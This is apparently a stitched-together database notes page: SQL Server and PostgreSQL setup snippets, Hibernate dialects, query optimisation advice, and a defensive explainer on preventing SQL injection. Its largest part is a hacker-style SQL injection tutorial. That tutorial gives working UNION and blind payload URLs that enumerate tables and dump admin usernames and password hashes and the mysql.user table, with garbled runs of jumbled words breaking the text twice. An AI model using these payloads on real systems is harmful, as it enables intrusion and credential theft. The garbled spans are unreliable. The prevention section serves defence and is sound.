Ms Sql server problem with linux python django app/settings.py

 From Database {section}

'driver': 'SQL Server Native Client 11.0',

To         

    'driver': 'ODBC Driver 17 for SQL Server'

Mysql : replace special characters or any words in perticular column in UPDATE statement

Replace # symbol with empty in the given column.
 

SET SQL_SAFE_UPDATES = 0;

update table_name set col_name = replace (col_name,'#','');

linux Ubuntu Postgresql Setup Installation

Type the below commands.

postgresql
**********
    sudo apt-get install postgresql postgresql-contrib
    apt-cache search postgres
    sudo apt-get install pgadmin3


create default user/role postgres
**********************************
    sudo -u postgres psql postgres
    \password postgres
    p0stgr3s
    p0stgr3s

SQL Injection - SQLI tutorial

SQL Injection Tutorial by Marezzi (MySQL)


In this tutorial i will describe how sql injection works and how to
use it to get some useful information.


First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).


1.SQL Injection (classic or error based or whatever you call it) :D

2.Blind SQL Injection (the harder part)


So let's start with some action :D


1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection :)

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- --="" ...="" 1="" 2="" 3="" 4.1.12...="" 4.1.33-log="" 4.1.33="" 4.="" 4="" 5.0.45="" 5="" :="" :d="" a="" all="" already="" an="" and="" any="" are="" by="" can="" cause="" check="" clause="" coercible="" collations="" column="" columns="" comment="" convert="" covering="" data="" describe="" didn="" error="" for="" found="" function="" get="" getting="" got="" has="" have="" hex="" http:="" i.e.="" i.e="" i="" id="5" if="" illegal="" important="" in="" is="" it="" later="" latin1="" let="" like="" look="" means="" message="" mix="" more="" must="" mysql="" name="" need="" news.php="" no="" not="" note:="" now="" number="" numbers="" of="" on="" one="" or="" order="" our="" paper="" problem="" properly.="" query="" replace="" s="" say="" screen="" section="" see="" select="" should="" similar.="" so="" some="" something="" someting="" sql="" statement.="" t="" table="" that="" the="" then="" this="" to="" try="" unhex="" union="" unknown="" using="" version="" we="" well="" what="" will="" with="" work="" working="" works="" write="" www.site.com="" you=""> 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)

we know that table admin exists...

now to check column names.


http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up :)

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice :)

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )


http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser :D

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... :D

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together :D

for that we use concat() , i decribe it earlier.

i.e


http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com


That's all in this part, now we can proceed on harder part :)



2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done :D

I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- 0="" 1="" 2="" 3="" 4.="" 4="" 5.="" 5="" :="" access="" always="" and="" article="" as="" ascii="" attack="" before="" best="" blind="" can="" cause="" change="" character="" characters="" check="" column="" columns.="" columns="" common="" concat="" content="" data="" database="" don="" exits.="" false="" first="" for="" found="" friend="" from="" function="" get="" gonna="" guess="" guessing.="" guessing="" have="" here="" http:="" i.e.="" i.e="" i="" id="5" if="" important.="" in="" injection.="" is="" just="" know="" later="" let="" like="" limit="" load_file="" loads="" merge="" missing="" mysql.user="" mysql="" name.="" name="" names="" need="" news.php="" normally="" now="" of="" ok.="" on="" one="" only="" or="" our="" outfile.="" page="" part="" password="" picture="" pull="" query="" real="" replace="" return="" returned="" returns="" right="" row="" s="" said="" same="" say="" see="" select="" should="" site="" so="" some="" sql="" start="" subselect="" subselects="" substring="" t="" table="" test="" text="" that.="" that="" the="" then="" this="" to="" true="" try="" until="" use="" username="" users="" usign="" version="" very="" vulrnable="" we="" what="" when="" with="" without="" work.="" work="" works="" www.site.com="" x3a="" you="">80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR.

Thanks to exploit-db.com

Hibernate Dialect

1. DB2

org.hibernate.dialect.DB2Dialect

2. DB2 AS/400

org.hibernate.dialect.DB2400Dialect

3. DB2 OS390

org.hibernate.dialect.DB2390Dialect

4. PostgreSQL

org.hibernate.dialect.PostgreSQLDialect

5. MySQL

org.hibernate.dialect.MySQLDialect

6. MySQL with InnoDB

org.hibernate.dialect.MySQLInnoDBDialect

7. MySQL with MyISAM

org.hibernate.dialect.MySQLMyISAMDialect

8. Oracle 8

org.hibernate.dialect.OracleDialect

9. Oracle 9i/10g

org.hibernate.dialect.Oracle9Dialect

10. Sybase

org.hibernate.dialect.SybaseDialect

11. Sybase Anywhere

org.hibernate.dialect.SybaseAnywhereDialect

12. Microsoft SQL Server

org.hibernate.dialect.SQLServerDialect

13. SAP DB

org.hibernate.dialect.SAPDBDialect

14. Informix

org.hibernate.dialect.InformixDialect

15. HypersonicSQL

org.hibernate.dialect.HSQLDialect

16. Ingres

org.hibernate.dialect.IngresDialect

17. Progress

org.hibernate.dialect.ProgressDialect

18. Mckoi SQL

org.hibernate.dialect.MckoiDialect

19. Interbase

org.hibernate.dialect.InterbaseDialect

20. Pointbase

org.hibernate.dialect.PointbaseDialect

21. FrontBase

org.hibernate.dialect.FrontbaseDialect

22. Firebird

org.hibernate.dialect.FirebirdDialect

Optimize SQL Queries

Optimize SQL Queries

The reasons to optimize

Time is money and people don't like to wait so programs are expected to be fast.

In Internet time and client/server programming, it's even more true because suddenly a lot of people are waiting for the DB to give them an answer which makes response time even longer.

Theory of optimization

There are many ways to optimize Databases and queries. My method is the following.

Look at the DB Schema and see if it makes sense

Most often, Databases have bad designs and are not normalized. This can greatly affect the speed of your Database. As a general case, learn the 3 Normal Forms and apply them at all times(See Example: http://www.anaesthetist.com/mnm/sql/normal.htm). The normal forms above 3rd Normal Form are often called de-normalization forms but what this really means is that they break some rules to make the Database faster.

What I suggest is to stick to the 3rd normal form except if you are a DBA (which means you know subsequent forms and know what you're doing). Normalization after the 3rd NF is often done at a later time, not during design.

Only query what you really need

Filter as much as possible

Your Where Clause is the most important part for optimization.

 Select only the fields you need

Never use "Select *" -- Specify only the fields you need; it will be faster and will use less bandwidth.

Be careful with joins

Joins are expensive in terms of time. Make sure that you use all the keys that relate the two tables together and don't join to unused tables -- always try to join on indexed fields. The join type is important as well (INNER, OUTER,... ).

Optimize queries and stored procedures (Most Run First)

Queries are very fast. Generally, you can retrieve many records in less than a second, even with joins, sorting and calculations. As a rule of thumb, if your query is longer than a second, you can probably optimize it.

Start with the Queries that are most often used as well as the Queries that take the most time to execute.

Add, remove or modify indexes

If your query does Full Table Scans, indexes and proper filtering can solve what is normally a very time-consuming process. All primary keys need indexes because they make joins faster. This also means that all tables need a primary key. You can also add indexes on fields you often use for filtering in the Where Clauses.

You especially want to use Indexes on Integers, Booleans, and Numbers. On the other hand, you probably don't want to use indexes on Blobs, VarChars and Long Strings.

Be careful with adding indexes because they need to be maintained by the database. If you do many updates on that field, maintaining indexes might take more time than it saves.

In the Internet world, read-only tables are very common. When a table is read-only, you can add indexes with less negative impact because indexes don't need to be maintained (or only rarely need maintenance).

Move Queries to Stored Procedures (SP)

Stored Procedures are usually better and faster than queries for the following reasons:

   1. Stored Procedures are compiled (SQL Code is not), making them faster than SQL code.

   2. SPs don't use as much bandwidth because you can do many queries in one SP. SPs also stay on the server until the final results are returned.

   3. Stored Procedures are run on the server, which is typically faster.

   4. Calculations in code (VB, Java, C++, ...) are not as fast as SP in most cases.

   5. It keeps your DB access code separate from your presentation layer, which makes it easier to maintain (3 tiers model).

Remove unneeded Views

Views are a special type of Query -- they are not tables. They are logical and not physical so every time you run select * from MyView, you run the query that makes the view and your query on the view.

If you always need the same information, views could be good.

If you have to filter the View, it's like running a query on a query -- it's slower.

Tune DB settings

You can tune the DB in many ways. Update statistics used by the optimizer, run optimization options, make the DB read-only, etc... That takes a broader knowledge of the DB you work with and is mostly done by the DBA.

Using Query Analyses

In many Databases, there is a tool for running and optimizing queries. SQL Server has a tool called the Query Analyser, which is very useful for optimizing. You can write queries, execute them and, more importantly, see the execution plan. You use the execution to understand what SQL Server does with your query.

Optimization in Practice

Example 1:

I want to retrieve the name and salary of the employees of the R&D department.

Original:

Query: Select * From Employees

In Program: Add a filter on Dept or use command: if Dept = R&D--

Corrected:

Select Name, Salary From Employees Where Dept = ‘R&D’

In the corrected version, the DB filters data because it filters faster than the program.

Also, you only need the Name and Salary, so only ask for that.

The data that travels on the network will be much smaller, and therefore your performances will improve.

Example 2 (Sorting):

Original:

Select Name, Salary From Employees Where Dept = 'R&D' Order By Salary

Do you need that Order By Clause? Often, people use Order By in development to make sure returned data are ok; remove it if you don't need it.

If you need to sort the data, do it in the query, not in the program.

Example 3:

Original:

For i = 1 to 2000

Call Query: Select salary From Employees Where EmpID = Parameter(i)

Corrected:

Select salary From Employees Where EmpID >= 1 and EmpID <= 2000

The original Query involves a lot of network bandwidth and will make your whole system slow.

You should do as much as possible in the Query or Stored Procedure. Going back and forth is plain stupid.

Although this example seems simple, there are more complex examples on that theme.

Sometimes, the processing is so great that you think it's better to do it in the code but it's probably not.

Sometimes, your Stored Procedure will be better off creating a temporary table, inserting data in it and returning it than going back and forth 10,000 times. You might have a slower query that saves time on a greater number of records or that saves bandwidth.

Example 4 (Weak Joins):

You have two tables Orders and Customers. Customers can have many orders.

Original:

Select O.ItemPrice, C.Name From Orders O, Customers C

Corrected:

Select O.ItemPrice, C.Name From Orders O, Customers C Where O.CustomerID = C.CustomerID

In that case, the join was not there at all or was not there on all keys. That would return so many records that your query might take hours. It's a common mistake for beginners.

Corrected 2:

Depending on the DB you use, you will need to specify the Join type you want in different ways.

In SQL Server, the query would need to be corrected to:

Select O.ItemPrice, C.Name From Orders O INNER JOIN Customers C ON O.CustomerID = C.CustomerID

Choose the good join type (INNER, OUTER, LEFT, ...).

Note that in SQL Server, Microsoft suggests you use the joins like in the Corrected 2 instead of the joins in the Where Clause because it will be more optimized.

Example 5 (Weak Filters):

This is a more complicated example, but it illustrates filtering at its best.

We have two tables -- Products (ProductID, DescID, Price) and Description(DescID, LanguageID, Text). There are 100,000 Products and unfortunately we need them all.

There are 100 languages (LangID = 1 = English). We only want the English descriptions for the products.

We are expecting 100 000 Products (ProductName, Price).

First try:

Select D.Text As ProductName, P.Price From Products P INNER JOIN Description D On P.DescID = D.DescID Where D.LangID = 1

That works but it will be really slow because your DB needs to match 100,000 records with 10,000,000 records and then filter that Where LangID = 1.

The solution is to filter On LangID = 1 before joining the tables.

Corrected:

Select D.Text As ProductName, P.Price From (Select DescID, Text From Description Where D.LangID = 1) D INNER JOIN Products P On D.DescID = P.DescID

Now, that will be much faster. You should also make that query a Stored Procedure to make it faster.

Example 6 (Views):

Create View v_Employees AS Select * From Employees

Select * From v_Employees

This is just like running Select * From Employees twice.

You should not use the view in that case.

If you were to always use the data for employees of R&D and would not like to give the rights to everyone on that table because of salaries being confidential, you could use a view like that:

Create View v_R&DEmployees AS

Select Name, Salary From Employees Where Dept = 1 (Dept 1 is R&D).

You would then give the rights to View v_R&DEmployees to some people and would restrict the rights to Employees table to the DBA only.

That would be a possibly good use of views.

SQL Injection or Insertion

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

Incorrectly filtered escape characters

This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into an SQL statement. This results in the potential manipulation of the statements performed on the database by the end user of the application.

The following line of code illustrates this vulnerability:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

This SQL code is designed to pull up the records of the specified username from its table of users. However, if the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as

' or '1'='1

renders this SQL statement by the parent language:

SELECT * FROM users WHERE name = '' OR '1'='1';

 

 

Preventing SQL injection

~~~~~~~~~~~~~~~~~~~~~~~~~

Parameterized statements

With most development platforms, parameterized statements can be used that work with parameters (sometimes called placeholders or bind variables) instead of embedding user input in the statement. In many cases, the SQL statement is fixed, and each parameter is a scalar, not a table. The user input is then assigned (bound) to a parameter. This is an example using Java and the JDBC API:

PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE USERNAME=? AND PASSWORD=?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();

Enforcement at the database level

Currently only the H2 Database Engine supports the ability to enforce query parameterization.However, one drawback is that query by example may not be possible or practical because it's difficult to implement query by example using parametrized queries.

Enforcement at the coding level

Using object-relational mapping libraries avoids the need to write SQL code. The ORM library in effect will generate parameterized SQL statements from object-oriented code.

Escaping

A straight-forward, though error-prone, way to prevent injections is to escape characters that have a special meaning in SQL. The manual for an SQL DBMS explains which characters have a special meaning, which allows creating a comprehensive blacklist of characters that need translation. For instance, every occurrence of a single quote (') in a parameter must be replaced by two single quotes ('') to form a valid SQL string literal. In PHP, for example, it is usual to escape parameters using the function mysql_real_escape_string before sending the SQL query:

$query = sprintf("SELECT * FROM Users where UserName='%s' and Password='%s'",
                  mysql_real_escape_string($Username),
                  mysql_real_escape_string($Password));
mysql_query($query);

This is error prone because it is easy to forget to escape a given string.

TIPS:-

1. Sanitize or Escape special characters

2. Bind or PreparedStatement

3. Check Length and type